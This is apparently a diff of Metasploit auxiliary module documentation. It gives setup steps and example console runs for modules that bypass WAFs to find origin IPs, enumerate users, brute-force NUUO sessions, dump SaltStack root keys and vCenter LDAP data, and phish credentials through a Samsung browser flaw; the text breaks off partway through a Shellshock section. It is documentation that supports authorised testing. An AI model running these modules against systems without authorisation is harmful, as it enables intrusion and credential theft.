Related links : https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
Start msfconsole
|
||||
use auxiliary/gather/browser_lanipleak
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
|
||||
## Vulnerable Application
|
||||
|
||||
The module use the Censys REST API to access the same data accessible through web interface.
|
||||
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -207,8 +210,3 @@ msf auxiliary(censys_search) > run
|
||||
[+] wesecure.nl - [997423]
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
1. https://censys.io/api
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
|
||||
## Vulnerable Application
|
||||
|
||||
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
|
||||
|
||||
## Headless Chrome Sessions
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
||||
|
||||
A vulnerable Headless Chrome session can be started with the following command:
|
||||
|
||||
```
|
||||
@@ -13,7 +13,7 @@ $ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-addre
|
||||
This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Execute `auxiliary/gather/chrome_debugger`
|
||||
3. Execute `set RHOST $REMOTE_ADDRESS`
|
||||
@@ -23,12 +23,17 @@ This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Options
|
||||
|
||||
* FILEPATH - The file path on the remote you wish to retrieve
|
||||
* URL - A URL you wish to fetch the contents of from the remote machine
|
||||
**FILEPATH**
|
||||
|
||||
The file path on the remote you wish to retrieve.
|
||||
|
||||
**URL**
|
||||
|
||||
A URL you wish to fetch the contents of from the remote machine.
|
||||
|
||||
**Note:** One or the other must be set!
|
||||
|
||||
## Example Run
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
|
||||
@@ -40,7 +45,3 @@ This will start a webserver running on port 9222 for all network interfaces.
|
||||
[+] Retrieved resource
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
||||
|
||||
@@ -0,0 +1,214 @@
|
||||
This module can be useful if you need to test the security of your server and your
|
||||
website behind a solution Cloud based. By discovering the origin IP address of the
|
||||
targeted host.
|
||||
|
||||
More precisely, this module uses multiple data sources (in order ViewDNS.info, DNS enumeration and Censys)
|
||||
to collect assigned (or have been assigned) IP addresses from the targeted site or domain
|
||||
that uses the following:
|
||||
Amazon Cloudflare, Amazon CloudFront, ArvanCloud, Envoy Proxy, Fastly, Stackpath Fireblade,
|
||||
Stackpath MaxCDN, Imperva Incapsula, InGen Security (BinarySec EasyWAF), KeyCDN, Microsoft AzureCDN,
|
||||
Netlify and Sucuri.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/gather/cloud_lookup`
|
||||
3. Do: `set hostname www.zataz.com`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### CENSYS_SECRET
|
||||
|
||||
Your Censys API SECRET.
|
||||
|
||||
### CENSYS_UID
|
||||
|
||||
Your Censys API UID.
|
||||
|
||||
### COMPSTR
|
||||
|
||||
You can use a custom string to perform the comparison.
|
||||
|
||||
### HOSTNAME
|
||||
|
||||
This is the hostname [fqdn] on which the website responds. But this can also be a domain.
|
||||
|
||||
msf5 auxiliary(gather/cloud_lookup) > set hostname www.zataz.com
|
||||
--or--
|
||||
msf5 auxiliary(gather/cloud_lookup) > set hostname discordapp.com
|
||||
|
||||
### IPBLACKLIST_FILE
|
||||
|
||||
Files containing IP addresses to blacklist during the analysis process, one per line. It's optional.
|
||||
|
||||
### THREADS
|
||||
|
||||
Number of concurent threads needed for DNS enumeration. Default: 8
|
||||
|
||||
### WORDLIST
|
||||
|
||||
Name list required for DNS enumeration. Default: ~/metasploit-framework/data/wordlists/namelist.txt
|
||||
|
||||
## Advanced options
|
||||
|
||||
### ALLOW_NOWAF
|
||||
|
||||
Automatically switch to NoWAFBypass when detection fails with the Automatic action. Default: false
|
||||
|
||||
### NS
|
||||
|
||||
Specify the nameserver to use for queries. Default: is system DNS
|
||||
|
||||
### REPORT_LEAKS
|
||||
|
||||
Set to write leaked ip addresses in notes. Default: false
|
||||
|
||||
### USERAGENT
|
||||
|
||||
Specify a personalized User-Agent header in HTTP requests.
|
||||
Default: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
|
||||
|
||||
### TAG
|
||||
|
||||
Specify the HTML tag in which you want to find the fingerprint. Default: title
|
||||
Useful when combined with the CMPSTR option.
|
||||
|
||||
### HTTP_TIMEOUT
|
||||
|
||||
HTTP(s) request timeout. Default: 8
|
||||
|
||||
## Scenarios
|
||||
|
||||
### For auditing purpose
|
||||
|
||||
If successful, you must be able to obtain the IP(s) address of the website as follows:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/cloud_lookup) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(gather/cloud_lookup) > run
|
||||
|
||||
[*] Selected action: Amazon CloudFlare
|
||||
[*] Passive gathering information...
|
||||
[*] * ViewDNS.info: 17 IP address found(s).
|
||||
[*] * DNS Enumeration: 6 IP address found(s).
|
||||
[*] Clean Amazon CloudFlare server(s)...
|
||||
[*] * TOTAL: 10 IP address found(s) after cleaning.
|
||||
[*]
|
||||
[*] Bypass Automatic is in progress...
|
||||
[*] * Initial request to the original server for <title> comparison
|
||||
[*] * Trying: http://XXX.XXX.XXX.XXX:80/
|
||||
[+] A direct-connect IP address was found: http://XXX.XXX.XXX.XXX:80/
|
||||
[*] * Trying: https://XXX.XXX.XXX.XXX:443/
|
||||
--> responded with an unhandled HTTP status code: 504
|
||||
[*] * Trying: http://XXX.XXX.XXX.XXX:80/
|
||||
[*] * Trying: https://XXX.XXX.XXX.XXX:443/
|
||||
[*] * Trying: http://XXX.XXX.XXX.XXX:80/
|
||||
[+] A direct-connect IP address was found: http://XXX.XXX.XXX.XXX:80/
|
||||
[*] * Trying: https://XXX.XXX.XXX.XXX:443/
|
||||
--> responded with an unhandled HTTP status code: 504
|
||||
[*] * Trying: http://XXX.XXX.XXX.XXX:80/
|
||||
[+] A direct-connect IP address was found: http://XXX.XXX.XXX.XXX:80/
|
||||
[*] * Trying: https://XXX.XXX.XXX.XXX:443/
|
||||
--> responded with an unhandled HTTP status code: 403
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
In this case 'A direct-connect IP address was found' is reported.
|
||||
|
||||
However, some disreputable administrators used a simple redircetion (301 and 302)
|
||||
to force the passage through the WAF. This makes the IP address leak in the 'location'
|
||||
parameter of the HTTP header.
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/cloud_lookup) > set hostname www.exodata.fr
|
||||
hostname => www.exodata.fr
|
||||
msf5 auxiliary(gather/cloud_lookup) > run
|
||||
|
||||
[*] Selected action: Amazon CloudFlare
|
||||
[*] Passive gathering information...
|
||||
[*] * ViewDNS.info: 3 IP address found(s).
|
||||
[*] * DNS Enumeration: 12 IP address found(s).
|
||||
[*] Clean Amazon CloudFlare server(s)...
|
||||
[*] * TOTAL: 4 IP address found(s) after cleaning.
|
||||
[*]
|
||||
[*] Bypass Automatic is in progress...
|
||||
[*] * Initial request to the original server for <title> comparison
|
||||
[*] * Trying: http://41.213.135.13:80/
|
||||
[*] * Trying: https://41.213.135.13:443/
|
||||
--> responded with HTTP status code: 302 to http://www.exodata.fr/
|
||||
[!] A leaked IP address was found: https://41.213.135.13:443/
|
||||
[*] * Trying: http://185.161.8.26:80/
|
||||
--> responded with HTTP status code: 302 to https://www.exodata.fr/
|
||||
[!] A leaked IP address was found: http://185.161.8.26:80/
|
||||
[*] * Trying: https://185.161.8.26:443/
|
||||
[-] No direct-connect IP address found :-(
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
*or*
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/cloud_lookup) > set verbose false
|
||||
verbose => false
|
||||
msf5 auxiliary(gather/cloud_lookup) > set hostname www.ingensecurity.com
|
||||
hostname => www.ingensecurity.com
|
||||
msf5 auxiliary(gather/cloud_lookup) > run
|
||||
|
||||
[*] Passive gathering information...
|
||||
[*] * ViewDNS.info: 2 IP address found(s).
|
||||
[*] * DNS Enumeration: 8 IP address found(s).
|
||||
[*] Clean InGen Security (BinarySec EasyWAF) server(s)...
|
||||
[*] * TOTAL: 4 IP address found(s) after cleaning.
|
||||
[*]
|
||||
[*] Bypass Automatic is in progress...
|
||||
[*] * Initial request to the original server for <title> comparison
|
||||
[!] A leaked IP address was found: http://188.165.33.235:80/
|
||||
[-] No direct-connect IP address found :-(
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
In this case 'A leaked IP address was found' is displayed but the bypass
|
||||
is NOT effective.
|
||||
|
||||
You can also use the `REPORT_LEAKS` option to write that in the notes.
|
||||
|
||||
For some reason you may need to change the URI path to interoperate with
|
||||
a page other than the index page.
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/cloud_lookup
|
||||
msf5 auxiliary(gather/cloud_lookup) > set HOSTNAME www.zataz.com
|
||||
hostname => www.zataz.com
|
||||
msf5 auxiliary(gather/cloud_lookup) > set URIPATH /contacter/
|
||||
uripath => /contacter/
|
||||
msf5 auxiliary(gather/cloud_lookup) > set compstr Contacter ZATAZ
|
||||
compstr => Contacter ZATAZ
|
||||
msf5 auxiliary(gather/cloud_lookup) > run
|
||||
...
|
||||
```
|
||||
|
||||
*or*
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/cloud_lookup
|
||||
msf5 auxiliary(gather/cloud_lookup) > set HOSTNAME www.zataz.com
|
||||
hostname => www.zataz.com
|
||||
msf5 auxiliary(gather/cloud_lookup) > set URIPATH /contacter/
|
||||
uripath => /contacter/
|
||||
msf5 auxiliary(gather/cloud_lookup) > set compstr Contacter ZATAZ
|
||||
compstr => Contacter ZATAZ
|
||||
msf5 auxiliary(gather/cloud_lookup) > set tag html
|
||||
tag => html
|
||||
msf5 auxiliary(gather/cloud_lookup) > run
|
||||
...
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://citadelo.com/en/blog/cloudflare-how-to-do-it-right-and-do-not-reveal-your-real-ip/>
|
||||
@@ -9,7 +9,7 @@ accounts are enabled or disabled/locked out.
|
||||
To use kerberos_enumusers, make sure you are able to connect to the
|
||||
Kerberos service on a Domain Controller.
|
||||
|
||||
## Scenario
|
||||
## Scenarios
|
||||
|
||||
The following demonstrates basic usage, using a custom wordlist,
|
||||
targeting a single Domain Controller to identify valid domain user
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
Nuuo CMS Session Bruteforce
|
||||
|
||||
@@ -49,8 +49,6 @@ Secondly, due to the nature of this application, it is normal to have the softwa
|
||||
|
||||
It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[NUUO Central Management Server (CMS): all versions below 2.4.0](d1.nuuo.com/NUUO/CMS/)
|
||||
|
||||
- 1.5.2 OK
|
||||
@@ -73,9 +71,3 @@ msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/nuuo_cms_bruteforce) >
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
|
||||
|
||||
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
Nuuo CMS Authenticated Arbitrary File Download
|
||||
|
||||
@@ -26,8 +26,6 @@ This module works in the following way:
|
||||
|
||||
Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[NUUO Central Management Server (CMS): all versions up to and including 3.5.0](http://d1.nuuo.com/NUUO/CMS/)
|
||||
|
||||
The following versions were tested:
|
||||
@@ -63,9 +61,3 @@ msf5 auxiliary(gather/nuuo_cms_file_download) > exploit
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/nuuo_cms_file_download) >
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
|
||||
|
||||
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
## Vulnerable Application
|
||||
|
||||
External python module compatible with v2 and v3.
|
||||
|
||||
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
|
||||
@@ -14,9 +16,7 @@ Microsoft Security Response Center stated on 2017-06-28 that this issue does not
|
||||
|
||||
This script is maintaing the ability to run independently of MSF.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Office365's implementation of ActiveSync
|
||||
Office365's implementation of ActiveSync is vulnerable.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -41,6 +41,7 @@ This script is maintaing the ability to run independently of MSF.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following demonstrates basic usage, using the supplied users wordlist
|
||||
and default options.
|
||||
|
||||
@@ -72,6 +73,3 @@ grimhacker.com .. |
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## References
|
||||
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits unauthenticated access to the `_prep_auth_info()`
|
||||
method in the SaltStack Salt master's ZeroMQ request server, for
|
||||
versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the
|
||||
root key used to authenticate administrative commands to the master.
|
||||
|
||||
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are
|
||||
known to be affected by the Salt vulnerabilities.
|
||||
|
||||
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
|
||||
well as Vulhub's Docker image.
|
||||
|
||||
### Setup
|
||||
|
||||
**Note:** I did the bulk of my testing after manually installing Salt in
|
||||
an [Ubuntu 18.04 VM](#using-a-virtual-machine), but the [Docker image
|
||||
from Vulhub](#using-docker) may be quicker. YMMV.
|
||||
|
||||
#### Using a virtual machine
|
||||
|
||||
1. Set up an Ubuntu 18.04 VM
|
||||
2. Browse to [SaltStack's instructions for
|
||||
Ubuntu](https://repo.saltstack.com/#ubuntu)
|
||||
3. Select `Pin to Minor Release` and change all versions to either
|
||||
**2019.2.3** or **3000.1**, depending on the version you wish to test
|
||||
4. Follow the instructions, installing only the `salt-master` and
|
||||
`salt-minion` packages necessary for testing
|
||||
5. Follow the [post-installation
|
||||
configuration](https://docs.saltstack.com/en/latest/ref/configuration/index.html)
|
||||
|
||||
You may now begin testing.
|
||||
|
||||
#### Using Docker
|
||||
|
||||
**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
|
||||
[Docker Compose](https://docs.docker.com/compose/install/) must be
|
||||
installed first.
|
||||
|
||||
**Note:** The Salt master is already configured and running in the
|
||||
following scenario. The majority of the steps below are for configuring
|
||||
and starting the minion. Version **2019.2.3** will be used.
|
||||
|
||||
1. Run `git clone https://github.com/vulhub/vulhub`
|
||||
2. Run `cd vulhub/saltstack/CVE-2020-11651`
|
||||
3. Run `docker-compose up -d` to start the container in the background
|
||||
4. Run `docker exec -it cve-2020-11651_saltstack_1 bash` to drop to a
|
||||
root shell inside the container
|
||||
5. Run `echo $'127.0.0.1\tsalt' >> /etc/hosts` to add the master to
|
||||
`/etc/hosts` (this allows the minion to find the master)
|
||||
6. Run `salt-minion -d` to execute the minion in the background
|
||||
7. Run `salt-key -A` and accept the key for the minion
|
||||
|
||||
You may now begin testing.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Actions
|
||||
|
||||
### Dump
|
||||
|
||||
This dumps the Salt master's root key by sending the `_prep_auth_info()`
|
||||
method and extracting the key from the resulting serialized auth info.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SaltStack Salt 2019.2.3 on Ubuntu 18.04
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/saltstack_salt_root_key
|
||||
msf5 auxiliary(gather/saltstack_salt_root_key) > options
|
||||
|
||||
Module options (auxiliary/gather/saltstack_salt_root_key):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 4506 yes The target port (TCP)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump root key from Salt master
|
||||
|
||||
|
||||
msf5 auxiliary(gather/saltstack_salt_root_key) > set rhosts 172.28.128.5
|
||||
rhosts => 172.28.128.5
|
||||
msf5 auxiliary(gather/saltstack_salt_root_key) > run
|
||||
[*] Running module against 172.28.128.5
|
||||
|
||||
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
|
||||
[*] 172.28.128.5:4506 - Negotiating signature
|
||||
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
|
||||
[*] 172.28.128.5:4506 - Sending identical signature
|
||||
[*] 172.28.128.5:4506 - Negotiating version
|
||||
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
|
||||
[*] 172.28.128.5:4506 - Sending identical version
|
||||
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
|
||||
[+] 172.28.128.5:4506 - Received NULL security mechanism
|
||||
[*] 172.28.128.5:4506 - Sending NULL security mechanism
|
||||
[*] 172.28.128.5:4506 - Sending READY command of type REQ
|
||||
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
|
||||
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
|
||||
[+] 172.28.128.5:4506 - Received serialized auth info
|
||||
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
|
||||
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/saltstack_salt_root_key) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
172.28.128.5 172.28.128.5 4506/tcp (salt/zeromq) root bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk= Password
|
||||
|
||||
msf5 auxiliary(gather/saltstack_salt_root_key) >
|
||||
```
|
||||
@@ -1,10 +1,11 @@
|
||||
## Description
|
||||
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
|
||||
|
||||
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole -q`
|
||||
2. `use auxiliary/gather/samsung_browser_sop_bypass`
|
||||
3. `set SRVHOST`
|
||||
@@ -14,6 +15,7 @@ This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
$ sudo msfconsole -q
|
||||
msf > use auxiliary/gather/samsung_browser_sop_bypass
|
||||
@@ -49,8 +51,6 @@ host origin service public private
|
||||
msf auxiliary(samsung_browser_sop_bypass) >
|
||||
```
|
||||
|
||||
## Demos
|
||||
|
||||
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
|
||||
|
||||
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module uses an anonymous-bind LDAP connection to dump data from
|
||||
the vmdir service in VMware vCenter Server version 6.7 prior to the
|
||||
6.7U3f update.
|
||||
|
||||
### Setup
|
||||
|
||||
Tested in the wild. No setup notes available at this time, as setup will
|
||||
be specific to target environment.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Actions
|
||||
|
||||
### Dump
|
||||
|
||||
Dump all LDAP data from the vCenter Server.
|
||||
|
||||
## Options
|
||||
|
||||
### ConnectTimeout
|
||||
|
||||
You may configure the timeout for LDAP connects if necessary. The
|
||||
default is 10.0 seconds and should be more than sufficient.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware vCenter Server 6.7 virtual appliance on ESXi
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options
|
||||
|
||||
Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 389 yes The target port
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > run
|
||||
[*] Running module against [redacted]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
dn: cn=DSE Root
|
||||
namingcontexts: dc=vsphere,dc=local
|
||||
supportedcontrol: 1.3.6.1.4.1.4203.1.9.1.1
|
||||
supportedcontrol: 1.3.6.1.4.1.4203.1.9.1.2
|
||||
supportedcontrol: 1.3.6.1.4.1.4203.1.9.1.3
|
||||
supportedcontrol: 1.2.840.113556.1.4.417
|
||||
supportedcontrol: 1.2.840.113556.1.4.319
|
||||
supportedldapversion: 3
|
||||
supportedsaslmechanisms: GSSAPI
|
||||
|
||||
[+] Discovered base DN: dc=vsphere,dc=local
|
||||
[*] Dumping LDAP data from vmdir service at [redacted]:389
|
||||
[+] [redacted]:389 is vulnerable to CVE-2020-3952
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /Users/wvu/.msf4/loot/20200417002613_default_[redacted]_VMwarevCenterS_939568.txt
|
||||
[*] Password and lockout policy:
|
||||
dn: cn=password and lockout policy,dc=vsphere,dc=local
|
||||
cn: password and lockout policy
|
||||
enabled: TRUE
|
||||
ntsecuritydescriptor:: [redacted]
|
||||
objectclass: top
|
||||
objectclass: vmwLockoutPolicy
|
||||
objectclass: vmwPasswordPolicy
|
||||
objectclass: vmwPolicy
|
||||
vmwpasswordchangeautounlockintervalsec: [redacted]
|
||||
vmwpasswordchangefailedattemptintervalsec: [redacted]
|
||||
vmwpasswordchangemaxfailedattempts: [redacted]
|
||||
vmwpasswordlifetimedays: [redacted]
|
||||
vmwpasswordmaxidenticaladjacentchars: [redacted]
|
||||
vmwpasswordmaxlength: [redacted]
|
||||
vmwpasswordminalphabeticcount: [redacted]
|
||||
vmwpasswordminlength: [redacted]
|
||||
vmwpasswordminlowercasecount: [redacted]
|
||||
vmwpasswordminnumericcount: [redacted]
|
||||
vmwpasswordminspecialcharcount: [redacted]
|
||||
vmwpasswordminuppercasecount: [redacted]
|
||||
vmwpasswordprohibitedpreviouscount: [redacted]
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) >
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
## Vulnerable Application
|
||||
|
||||
More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan).
|
||||
More information can be found on the [Rapid7 Blog](https://blog.rapid7.com/2010/03/08/locate-and-exploit-the-energizer-trojan).
|
||||
Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
|
||||
|
||||
The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx).
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
|
||||
## About
|
||||
## Description
|
||||
|
||||
This module simply queries the DB2 discovery service for information.
|
||||
The discovery service is integrated with the Configuration Assistant and the DB2® administration server.
|
||||
@@ -12,9 +12,10 @@ Using the discovery method, catalog information for a remote server can be autom
|
||||
3. `set THREDS [number of threads]`
|
||||
4. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
- DB2 `9.07.2` running at a `RHEL 6.9` .
|
||||
|
||||
### DB2 9.07.2 on RHEL 6.9
|
||||
|
||||
```
|
||||
msf auxiliary(scanner/db2/discovery) > set RHOSTS 192.168.1.25
|
||||
msf auxiliary(scanner/db2/discovery) > run
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
|
||||
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
|
||||
|
||||
By default, anonymous access is allowed by the FTP server.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
|
||||
vulnerable application from the official website:
|
||||
|
||||
@@ -22,6 +22,6 @@ The FTP server IP address.
|
||||
|
||||
The file you wish to download. Assume this path starts from C:\
|
||||
|
||||
## Demonstration
|
||||
## Scenarios
|
||||
|
||||

|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
This module allows you to authenticate to Advantech WebAccess.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module was specifically tested on versions 8.0, 8.1, and 8.2:
|
||||
|
||||
**8.2 Download**
|
||||
@@ -23,7 +21,6 @@ Note:
|
||||
By default, Advantech WebAccess comes with a built-in account named ```admin```, with a blank
|
||||
password.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Make sure Advantech WebAccess is up and running
|
||||
@@ -34,6 +31,6 @@ password.
|
||||
6. ```run```
|
||||
7. You should see that the module is attempting to log in.
|
||||
|
||||
## Demo
|
||||
## Scenarios
|
||||
|
||||

|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell handles external
|
||||
environment variables. This module targets CGI scripts in the Apache web server by setting
|
||||
the `HTTP_USER_AGENT` environment variable to a malicious function definition.
|
||||
|
||||
### Creating a Vulnerable Environment
|
||||
To setup an Environment that the scanner can be run against, follow the below steps to install a
|
||||
vulnerable OS and Apache version.
|
||||
|
||||
To ensure that you have a vulnerable version of bash:
|
||||
|
||||
1. Install [Ubuntu 12.04.5 LTS](http://cdimage.ubuntu.com/releases/12.04/release/)
|
||||
2. Log into console
|
||||
3. Confirm the host is vulnerable (see next section)
|
||||
4. Also install Apache2 from the apt repository with the following command
|
||||
|
||||
```
|
||||
sudo apt-get install apache2
|
||||
```
|
||||
|
||||
5. Enable cgi-mod in apache with the following command
|
||||
|
||||
```
|
||||
sudo ln -s /etc/apache2/mods-available/cgi.load /etc/apache2/mods-enabled/cgi.load
|
||||
```
|
||||
|
||||
6. Restart the apache service with the following command
|
||||
|
||||
```
|
||||
sudo service apache2 reload
|
||||
```
|
||||
|
||||
7. In your favorite text editor create a file (as root) in `/usr/lib/cgi-bin` called `test.sh` with the following contents:
|
||||
|
||||
```
|
||||
#!/bin/bash
|
||||
printf "Content-type: text/html\n\n"
|
||||
printf "Test!\n"
|
||||
```
|
||||
|
||||
8. Set the file to be executable with the following command
|
||||
|
||||
```
|
||||
sudo chmod +x /usr/lib/cgi-bin/test.sh
|
||||
```
|
||||
|
||||
### To check if a host is vulnerable to the attack
|
||||
|
||||
1. Run (on the host)
|
||||
|
||||
```
|
||||
